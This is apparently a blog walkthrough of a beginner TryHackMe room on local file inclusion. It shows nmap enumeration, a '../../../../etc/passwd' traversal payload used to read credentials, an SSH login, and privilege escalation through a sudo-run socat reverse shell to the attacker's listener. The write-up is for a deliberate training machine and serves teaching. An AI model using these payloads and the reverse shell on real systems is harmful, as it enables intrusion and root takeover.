Try-Hack-me: INCLUSION walkthrough
Try-hack-me
INCLUSION : Walkthrough
This room is meant to be a beginner’s introduction to local file inclusion, a vulnerability which occurs when some web-app includes files from its own local directories.
Let us start with enumeration. Run nmap to get the services running on open ports and their versions.
#nmap -A -sC -sV <target IP>
When we connect to machine's IP, we get to see few articles.
The LFI page source:
The page source on this machine tells us that “lfiattack” is a local file that the web server is just showing up. If you read the article, it gives us a hint for exploiting this. It’s called a directory traversal attack, and it can be accomplished here by replacing the file name with “../../../../etc/passwd.”
Going to our malicious URL will display the Linux file containing the password information for the users on the machine. Simply make note of the password listed for user “falconfeast” and use those credentials to SSH in.

Let's go for ssh connection of falconfeast:
#ssh falconfeast@<target IP>
#ls -la
#cat user.txt
Now is the turn for privilege escalation, so let's enumerate
#sudo -l
Firstly, we need to use socat to create a listener on machine.
#socat file: 'tty' , raw,echo=0 tcp-listen:5151
Socat Listener
Now, running socat as root we created the reverse shell.
#RHOST=<local IP>
#RPORT=5151
#sudo /usr/bin/socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
Comments
Post a Comment